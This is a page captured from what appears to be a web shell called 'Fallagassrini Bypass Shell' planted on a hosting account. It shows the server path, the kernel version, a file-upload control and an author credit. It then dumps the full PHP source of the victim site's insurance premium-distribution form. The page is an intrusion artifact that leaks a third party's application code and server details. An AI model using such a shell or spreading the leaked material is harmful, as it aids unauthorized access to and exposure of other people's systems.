? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/Policies/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/Policies/dslippayment.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('Accounting/accounting_common_function');?>
<script type="text/javascript">


jQuery(document).ready(function ()
        {

                checkfiscalyear("fyear","mycompany");
                check_tran_code_setting(5);
                check_tran_code_setting(6);
                Getmainacc_settings()
        });

function Getmainacc_settings()
    {

       $.ajax({

               type: "POST",
              url: "<?= site_url('settings/countmainacc_settings/') ?>/",
               success: function(msg){


                if(msg==0)
               {

               $("#viewmsg").fadeIn(900,0);
               $("#viewmsg").html("<div style=\"border:2px solid red;padding-top:4px;text-align:center; width:500px;height:20px;margin-left:30%\" ><font color=\"red\" >Commission Payable A/c  not Set</font></div>");


               $('button[type=submit]#button1').attr('disabled', 'disabled');


               }
                                     }

               });
    }

function check_tran_code_setting(val)
    {

       $.ajax({

               type: "POST",
              url: "<?= site_url('accounting/checktrans_codeset/') ?>/"+val,
               success: function(msg){


                if(msg==0)
               {

               $("#viewmsg").fadeIn(900,0);
               $("#viewmsg").html("<div style=\"border:2px solid red;padding-top:4px;text-align:center; width:500px;height:20px;margin-left:30%\" ><font color=\"red\" >Transaction Code  not Set</font></div>");


               $('button[type=submit]#button1').attr('disabled', 'disabled');


               }
                                     }

               });
    }
        function validations()
        {

            if(!validateform('insurance_company_id','refno','preamt'))
                {


                   return false;
                }

        }
    </script>
 <div id="viewmsg"></div>
<?php
foreach($viewinfo as $updata)
{
    $cover_id=$updata['cover_id'];
    $header=$updata['template_header'];
    $customer_id=$updata['customer_id'];
    $qdate=$updata['declarationdate'];
    $decl_id=$updata['id'];
    $qrefno=$updata['quotation_ref'];

    $currency=$updata['currencytype'];

}
  $qdate=$this->mastermodel->convdatformat($qdate);
  $currency_type=$this->mastermodel->get_data_srow('country',$currency,'id');
  $cr=$this->mastermodel->get_data_srow('covers',$cover_id,'id');
  $type=$this->customermodel->getSingleFieldValue('customers','type','id',$customer_id);
            if($type=='Individual')
            {
            $name=$this->customermodel->getSingleFieldValue('customer_personal_ind','insured','customer_id',$customer_id);

            $business='NIL';
            }
            else
            {
             $name=$this->customermodel->getSingleFieldValue('customer_corp_info','insured','customer_id',$customer_id);
             $business=$this->customermodel->getSingleFieldValue('customer_corp_info','business_activity','customer_id',$customer_id);

            }

  //$templatetype=$this->mastermodel->get_data_srow('template_type',$templatetype_id,'id');
  
  $policyfeesname=$this->policiesmodel->getdpolicyfeesname($decl_id);
 
  $covername=$this->customermodel->getSingleFieldValue('covers','cover','id',$cover_id);
  $cust_acc=$this->accountingsmodel->get_acc_id('customers','code',$customer_id);




    
    $premiumdetails=$this->mastermodel->get_data_srow('declaration_premiumdetails',$decl_id,'declaration_id');
    $decldetails=$this->mastermodel->get_data_srow('declaration_project_period',$decl_id,'declaration_id');

    $companyname=$this->mastermodel->get_data_srow('insurance_company',$premiumdetails->insurance_company_id,'id');
    $stakeholders=$this->mastermodel->get_data('declaration_stakeholders',$decl_id,'declaration_id');
   
   
    $policyfees=$premiumdetails->policy_fees;
    $premium=$premiumdetails->premium ;

     $paymode=$premiumdetails->payment_method;
    $policyno= $this->customermodel->getSingleFieldValue('policynote','policyno','quotation_ref',$qrefno);
    $attributes = array('id' => 'customForm','name'=>'testform');
echo form_open('policies/insertdeclarationpayment',$attributes);
?>



 <li></li><fieldset><legend>Premium Distribution</legend>
    <table  border=0 id ='paymenttable'  border="0" style="background-color:#fff;  border:thin; border-color:#393939;color:#000;">

    <tr><td style="width:380px;"><label style="color:#000;">Quotation Ref No:</label><label><?=$qrefno?></label></td><td><label style="color:#000;">Policy No</label></td><td><label><?=$policyno?></label></td></tr>
    <tr><td></td></tr>
    <tr><td><label style="color:#000;">Insured</label><label><?=$name;?></label></td><td><label style="color:#000;">Type Of Cover</label></td><td><label><?=$covername;?></label></td></tr>
    <tr><td></td></tr>
    <tr><td><label style="color:#000;">Premium</label><table><tr><td><?=$currency_type->currencycode?></td><td><input type='text' id='preamt' name='preamt' value='<?=$premium?>'/></td></tr></table></td>
    </tr>
    <tr><td></td></tr>
    <tr>
        <td><label style="color:#000;">Insurance Company</label>
    <?php

    echo '<input type="hidden" name="declaration_id" value="'.$decl_id.'">';
    $company=$this->mastermodel->getdatas('insurance_company');
     echo "<select name='insurance_company_id' id='insurance_company_id' >";
        if($companyname->company_name)
        echo "<option value='".$companyname->id."'>$companyname->company_name</option>";
        else
        echo "<option value='0'>Select Company</option>";
        if (count($company))
         {
        foreach ($company as $key => $list)
         {
        if($list['company_name']!=$companyname->company_name)
        echo "<option value='". $list['id'] . "'>" . $list['company_name'] . "</option>";
         }
        echo "</select>";
           echo ' <span id="insurance_company_idInfo" class="red_bold">*</span>';
         }

   $brokerage=$premiumdetails->brokerage;

   $insurer= 100 - $brokerage;

   $brokeragecommission= $premium * ($brokerage/100);
   $insurercommission= $premium * ($insurer/100) +$policyfees;

   $totalcommission=$brokeragecommission+$insurercommission;
    ?>
            </td>
    <?php

     $reff_id=$this->customermodel->getSingleFieldValue('placing_slip_refs','id','pslip_id',$decl_id);
     $refer=$this->customermodel->getSingleFieldValue('refs','reference','id',$reff_id);
    if($reff_id=='')
    {
     ?>
        <input type="hidden" name="refno" onblur="data_exist(this)" id="refno"/>

    <?php
    }
    else
    {
    ?>
        <input type="hidden" readonly value="<?=$refer?>" name="refno"  id="refno"/>

    <?php  }  ?>

    <tr><td colspan="2">&nbsp;</td></tr>
   <tr><td colspan="2">&nbsp;</td></tr>
    <tr>
        <td>
            <label style="color:#CC3300;">Premium Distribution</label>%
        </td>
        <td>
            <label style="color:#CC3300;">Amount</label>
        </td>
    </tr>
     <tr><td></td></tr>
     <tr>
         <td>
             <label style="color:#000;">Brokerage</label>
             <input type='text' id='brokerage' readonly name='brokerage' value='<?=$brokerage?>'/>
         </td>
         <td>
             <label><?=number_format($brokeragecommission,2)?></label>
         </td>
     </tr>
    <tr><td></td></tr>
    <tr><td><input type="hidden" id="currencytype" name="currencytype" value="<?=$currency_type->currencycode?>"></td></tr>
    <tr><td></td></tr>

    <tr><td><label style="color:#000;">Insurer</label> <input type='text' readonly id='insurer' name='insurer' value='<?=$insurer?>'/></td><td><label><?=number_format($insurercommission,2)?></label></td></tr>
     <tr><td></td></tr>
     <tr><td><label>&nbsp;</label><label>Total(<?=$currency_type->currencycode?>)</label></td><td><label><?=number_format($totalcommission,2)?></label></td></tr>
    <tr><td><label style="color:#000;"><?=$policyfeesname?></label> <input type='text' id='policyfees' readonly name='policyfees' value='<?=$policyfees?>'/></td></tr>


    <tr><td><label>&nbsp;</label> </td><td style="width:0px;"><label style="color:#000;">Search Stake Holders</label></td><td><img id="inlinestaff"  src="<?=base_url()?>/assets/images/button-search.png" title="Search" class="clickimage"  onclick="showstaffdiv()" ></td></tr>
    <tr><td></td></tr>
    <tr>
        <td>
            <label style="color:#CC3300;">Brokerage Distribution</label>%
        </td>
        <td>
           <label style="color:#CC3300;">Amount</label>
        </td></tr>
    <?php if (count($stakeholders)>0)
    {

     $v=1;
     $sumpercent=0;
     foreach($stakeholders as $stakeval)
     {
     $sumpercent=$sumpercent+$stakeval['percentage'];
     $descamount= $premium *($stakeval['percentage']/100);
      $descamount=number_format($descamount, 2,'.','');
     $staffname=$this->mastermodel->get_data_srow('staffpersonaldetails',$stakeval['staffid'],'id');
     $agent_acc=$staffname->employeeid;
     ?>

    <tr id="brockingsplit<?=$v?>">
        <td><label><?=$staffname->name?></label>
            <input type='hidden' name='staffid[]' value="<?=$staffname->id?>">
            <input type="hidden" id="agent_acc<?=$v?>" name="agent_acc[]" value="<?=$agent_acc?>"/>
            <input type="text" id="brockamt<?=$v?>" name="brockamt[]" value="<?=$stakeval['percentage']?>"  onchange="calcbrockamt(document.getElementById('brockamt<?=$v?>').value,<?=$v?>)"></td>
            <td>
                <label><span id="brockeramount<?=$v?>"><?=number_format($descamount,2)?></span></label>
            <input type="hidden" name="brokeragesplitupamt[]" value="0" id="brokeragesplitupamt<?=$v?>"></td></tr>
     <?php
     $v++;
     }
     $brokerpercent= $brokerage - $sumpercent;
     $descamount= $premium *($brokerpercent/100);
     $countcnt=$v-1;
     ?>
    <tr id="brockingsplit0"><td><label>Broker</label>
            <input type="text" id="brockamt0" name="brockeramt[]" value='<?=$brokerpercent?>'  onchange="calcbrockamt(document.getElementById('brockamt0').value,0)"></td>
            <td><label><span id="brockeramount0"><?=number_format($descamount,2)?></span></label>
            <input type="hidden" name="brokeragesplitupamt[]" value="0" id="brokeragesplitupamt0"></td></tr>
     <input type="hidden" name="countbrockamount" id="countbrockamount" value="<?=$countcnt?>">
   <?php
    }

    else
    {

    ?>
    <input type="hidden" name="countbrockamount" id="countbrockamount" value="0">
    <tr id="brockingsplit0">
        <td><label style="color:#000;">Broker</label>
            <input type="text" id="brockamt0" name='brockeramt[]' value="<?=$brokerage?>"  onchange="calcbrockamt(document.getElementById('brockamt0').value,0)">
        </td>
        <td>
            <p id='brockeramount0'>
            </p>
            <input type="hidden" name="brokeragesplitupamt[]" value=0 id="brokeragesplitupamt0">
            <span style="display:block;" id="bcom"><?=number_format($brokeragecommission,2)?></span>
        </td>
    </tr>
     <?php
    }

    ?>

    </table>
     <div id="staffbroker"></div>

     <?php if($paymode=='credit')
     {
        $val= 'true';
     }
        else {
            $val='false';
        }

       ?>
     <input type="hidden" id="hiddentext" name="hiddentext" value="<?php echo $val; ?>"/>
     <table> <tr><td style="width:410px;">
                 <label>&nbsp;</label>Total(<?=$currency_type->currencycode?>)</td>

             <td ><label><span id='stotalbroker' style="display:block;"><?=number_format($brokeragecommission,2)?></span></label>
             </td></tr></table>
<br/>
    <table><tr id="payment_meth">
        <td><label style="color:#000;">Payment Method</label><select id="paymethod" name="paymethod" >
               
                <option value="credit" <?php if($paymode=="credit"){ echo "selected"; } ?> >Credit</option>

            </select><span id="paymethodInfo" class="red_bold">*</span>
        </td>

    </tr>


    <tr><td></td></tr>


     </table>
     <br/>
     <br/>
<!--
     <div id="cash" <?php// if($paymode=='cash'){echo "style='display:block'"; } else {echo "style='display:none'"; } ?>>
         <table><tr><td><label>Amount</label><input type="textbox" name="amountcash" id="amountcash" value="<?//=$amnt;?>"/></td></tr></table>

     </div>

     <div id="cheque" <?php// if($paymode=='cheque'){echo "style='display:block'"; } else {echo "style='display:none'"; } ?>>
         <table><tr><td><label>Amount</label><input type="textbox" name="amountcheque" id="amountcheque" value="<?//=$amnt;?>"/></td>
                 <td><label>Cheque/ Bank Details</label><textarea name="paymentdetailscheque"><?//=$desc;?></textarea></td></tr></table>

     </div>

     <div id="credit" <?php //if($paymode=='credit'){echo "style='display:block'"; } else {echo "style='display:none'"; } ?>>
          <table><tr><td><label>Amount</label><input type="textbox" name="amountcredit" id="amountcredit" value="<?//=$amnt;?>"/></td>
                 <td><label>Details</label><textarea name="paymentdetailscredit"><?//=$desc;?></textarea></td></tr></table>

     </div>-->


    <!--div id="modepayment" <?php// if($paymode=='credit'){echo "style='display:block'"; } else {echo "style='display:none'"; } ?>>
     <table><tr><td style="color:#CC3300;">Schedule And Payment Details </td></tr>


     <div id="schedulepaymentdet"></div>


     <tr><td><label style="color:#000;">Installments</label><input type="text" name="noofinstallment" id="noofinstallment" style="width:30px;" onchange="installmentshedule();"></td><td style="color:#000;">Credit Period</td><td><input type="text" id="creditperiod" style="width:30px;" onchange="installmentperiod(this.value);"></td>
     <td style="color:#000;">Credit Amount</td><td><input type="text" id="creditamount" onchange="installmentamount(this.value);" style="width:80px;"></td>
     </tr>

     </table>
     <table>
         <tr><td style="width:30px; color:#000;">S.No</td><td style="width:150px;color:#000;">Date</td><td style="width:150px;color:#000;">Amount</td><td style="color:#000;">Description</td></tr>


     </table>


     <div id ="installmentlist">
        <?php
        if(count($placing_slip_paymentdetails))
        {
            $sl=1;
            $cnt=0;
            echo '<table>';
          foreach($placing_slip_paymentdetails as $paymentval)
              {
        ?>
        <tr><td><?=$sl?></td><td><input type='text' name='crdate[]' style='background-image: url(../../../../assets/images/datefocus.gif);' class='one' id='crdate<?=$cnt?>' value=<?=$paymentval['date']?> readonly/></td><td><input type='text' name='creditamount[]' value="<?=$paymentval['amount']?>" id='creditamount<?=$cnt?>'/></td><td><textarea name='creditdescription[]'  id='creditdescription<?=$cnt?>'><?=$paymentval['description']?></textarea></td></tr>
        <?php
        $sl++;
        $cnt++;
              }
              echo '</table>';
        }
        ?>
         </div-->
 </fieldset>

  <!--   </div>-->

     <input type="hidden" name="cust_acc" value="<?=$cust_acc?>"/>

      <input type="hidden" name="comp_amt" value="<?=$insurercommission?>"/>
      <?php
       $coveracc= $this->accountingsmodel->get_mainaccount_setting('cover_start');
       $coveracc=$coveracc+$cover_id;
      ?>
       <input type="hidden" name="covr_acc" value="<?='CVR'.$cover_id?>"/>
        <input type="hidden" name="covrmain_acc" value="<?=$coveracc?>"/>
        <button type="submit" id="button1" class="clickimage" onclick="return validateform('insurance_company_id','preamt','paymethod');" >Save</button>
        <div id="temp" style="display:none"></div>

    <?php echo form_close();?>


bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net